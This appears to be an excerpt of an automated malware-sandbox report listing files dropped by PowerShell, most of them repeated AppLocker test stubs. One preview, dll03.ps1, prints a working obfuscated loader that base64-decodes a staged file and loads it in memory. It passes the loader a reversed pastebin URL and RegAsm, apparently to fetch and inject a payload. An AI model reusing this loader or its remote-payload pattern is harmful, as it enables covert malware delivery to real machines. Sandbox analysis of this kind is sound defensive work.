                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tlygr34y.apg.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ttumwows.bqh.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ughuyvv5.tow.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uwnhn31m.3kn.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_voxydeal.pko.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vzolyk42.onb.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wbnytsue.e1k.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xnw4aznd.0ma.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xprgebig.2e3.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ysqluzhw.kng.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z0zsqjnc.3xp.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z1fl3emf.nzk.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z1li41dk.iwt.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zaxvgb0c.i2y.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zdurlvy1.4u3.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zeuktaff.44w.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zpnlwdsy.gfs.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\dll01.txt

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):31
                                                                                                                                        Entropy (8bit):4.079376456233206
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:IRR8foWuA01My:s0oVMy
                                                                                                                                        MD5:44933644BD65016BCA7B39C9EA78C1AD
                                                                                                                                        SHA1:84317B9EE130B7B6BA0CB25FDA31527453352BBF
                                                                                                                                        SHA-256:DE2F713CAC74B61B89D400AB388452BB948E6B709A41203D4591A57B7272D92B
                                                                                                                                        SHA-512:9692EBF88ED5D844BFB2E6C77ADDD32116CA49ECA6E1A66BA1B67D06CD29ED66D4F50A46FB7E8C947F22D0B61FB42A2F1D4FD8865E79C1729C101CDADFF3E442
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.https://paste.ee/d/I1o5h/0..

                                                                                                                                        C:\Users\user\AppData\Local\Temp\dll02.txt

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:Unicode text, UTF-16, little-endian text, with very long lines (29774), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):59554
                                                                                                                                        Entropy (8bit):3.563550926160133
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:384:j3nWxy27JA1Y60ClAsleGf9aB4yX8WdUl8DOwGPmIXXT9Ff8GWigw1Jh+0WDl6DU:j3gy27WHne44IXDP8ZiVzh+pOBd6x
                                                                                                                                        MD5:F91FC6D798370C2BABE3D901CA52F575
                                                                                                                                        SHA1:CAE7D51CFB341ACEE678BDF8FDC4F98C50A778CE
                                                                                                                                        SHA-256:DAF05C9C7D1123926265600E912688AF5739C121002016933A2DA7A249A04983
                                                                                                                                        SHA-512:0156E7DBD1FD87B3C62DBCCD3AFD0EE3491EF2BA24C7F173D728D157300BBD00199E71C0F95F715F8CACB8BA7AC209575DC6012DD5B296FAFA7E6BB92D71A0CF
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..T.V.q.Q..!:..!.!:..!M..!:..!.!:..!.!:..!.!:..!E..!:..!.!:..!.!:..!.!:..!/./.8..!:..!.!:..!L.g..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!Q..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!g..!:..!.!:..!.!:..!.!:..!.!:..!4.f.u.g.4..!:..!t..!:..!n.N.I.b.g.B.T.M.0.h.V.G.h.p.c.y.B.w.c.m.9.n.c.m.F.t.I.G.N.h.b.m.5.v.d.C.B.i.Z.S.B.y.d.W.4.g.a.W.4.g.R.E.9.T.I.G.1.v.Z.G.U.u.D.Q.0.K.J..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!B.Q.R.Q..!:..!.!:..!T..!:..!E.D..!:..!E.b.9.P.G.c..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!O..!:..!.!:..!I.i..!:..!L..!:..!V..!:..!.!:..!.!:..!D..!:..!.!:..!.!:..!.!:..!.!:..!G..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!i.k.8..!:..!.!:..!.!:..!.!:..!g..!:..!.!:..!.!:..!.!:..!Y..!:..!.!:..!.!:..!.!

                                                                                                                                        C:\Users\user\AppData\Local\Temp\dll03.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:Unicode text, UTF-16, little-endian text, with very long lines (404), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):814
                                                                                                                                        Entropy (8bit):3.7865795388925716
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:QBAlVgURKQ19Fsz8MFclzJRFjPrMTanlKu1S1AeyL8an1EZeKTvHlLqyhyiRmFsJ:QB4gU9TMuZJvPnlwAJhOZeKTvH5qgyiv
                                                                                                                                        MD5:1B7F350A3481A30633F597B95D0DA866
                                                                                                                                        SHA1:1D8D4DC192E4C47E3136FDAFED051C0B5C279F4A
                                                                                                                                        SHA-256:3F3EED9BC84AF9026B2FC7FE2975F1FACD73210FB7420F2D176C263D668A9F54
                                                                                                                                        SHA-512:C0047862FA59065F281C6F7A92A7ECB3E462A005A72554A6FB134BD1BDE293CC4286CDA82DECF89D4DAD604BB4E05C1DEAB180636A234AF3081E1769B9979345
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:..$.r.y.a.e.G. .=. .(.G.e.t.-.C.o.n.t.e.n.t. .-.P.a.t.h. .C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.d.l.l.0.2...t.x.t. .-.E.n.c.o.d.i.n.g. .U.T.F.8.).;.[.B.y.t.e.[.].]. .$.F.y.f.d.z. .=. .[.s.y.s.t.e.m...C.o.n.v.e.r.t.].:.:.F.r.o.m.B.a.s.e.6.4.S.t.r.i.n.g.(. .$.r.y.a.e.G...r.e.p.l.a.c.e.(.'..!:..!'.,.'.A.'.). .). .;.[.S.y.s.t.e.m...A.p.p.D.o.m.a.i.n.].:.:.C.u.r.r.e.n.t.D.o.m.a.i.n...L.o.a.d.(. .$.F.y.f.d.z. .)...G.e.t.T.y.p.e.(. .'.C.l.a.s.s.L.i.b.r.a.r.y.3...C.l.a.s.s.1.'. .)...G.e.t.M.e.t.h.o.d.(. .'.p.r.F.V.I.'. .)...I.n.v.o.k.e.(. .$.n.u.l.l. .,. .[.o.b.j.e.c.t.[.].]. .(. .'.k.7.N.n.M.C.P.C./.w.a.r./.m.o.c...n.i.b.e.t.s.a.p././.:.s.p.t.t.h.'. .,. .'.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.D.e.s.k.t.o.p.\.D.E.V.I.S._.V.A.L.I.D.E...j.s.'. .,. . .'.D. .D.D.R.e.g.A.s.m.'. . .). .).;.....

                                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4NZTABXLFAAOWOCT1TTK.temp

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):6221
                                                                                                                                        Entropy (8bit):3.7229620414859896
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:NW7E33CxH5vkvhkvCCtlVWOuH8bJVWORH8b/:NW7EyZzlVNVu
                                                                                                                                        MD5:9186F3FEB039EA8A9732EACF4DEADA38
                                                                                                                                        SHA1:2B2C94E74C91E40FA51AD744EE1EDFC4F807BD8D
                                                                                                                                        SHA-256:9BCA0E517DAB8E8FD622B380E8F409BECB6796AAE4946AA2C645BC20BC299612
                                                                                                                                        SHA-512:36732E200CDF086D75D056EC50F6902229957D0F0FDB42FCB56ACB429AF7513483045BD9B23D0E7AE60A671D0A14F43D016527CA298EF543C862B400DA36A15E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v........3;....].3;......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^tY.P...........................%..A.p.p.D.a.t.a...B.V.1.....tY.P..Roaming.@......CW.^tY.P..........................$h..R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^tY.P..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWT`..Windows.@......CW.^DWT`.........................._%!.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

                                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):6221
                                                                                                                                        Entropy (8bit):3.7229620414859896
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:NW7E33CxH5vkvhkvCCtlVWOuH8bJVWORH8b/:NW7EyZzlVNVu
                                                                                                                                        MD5:9186F3FEB039EA8A9732EACF4DEADA38
                                                                                                                                        SHA1:2B2C94E74C91E40FA51AD744EE1EDFC4F807BD8D
                                                                                                                                        SHA-256:9BCA0E517DAB8E8FD622B380E8F409BECB6796AAE4946AA2C645BC20BC299612
                                                                                                                                        SHA-512:36732E200CDF086D75D056EC50F6902229957D0F0FDB42FCB56ACB429AF7513483045BD9B23D0E7AE60A671D0A14F43D016527CA298EF543C862B400DA36A15E
                                                                                                                                        Malicious:false
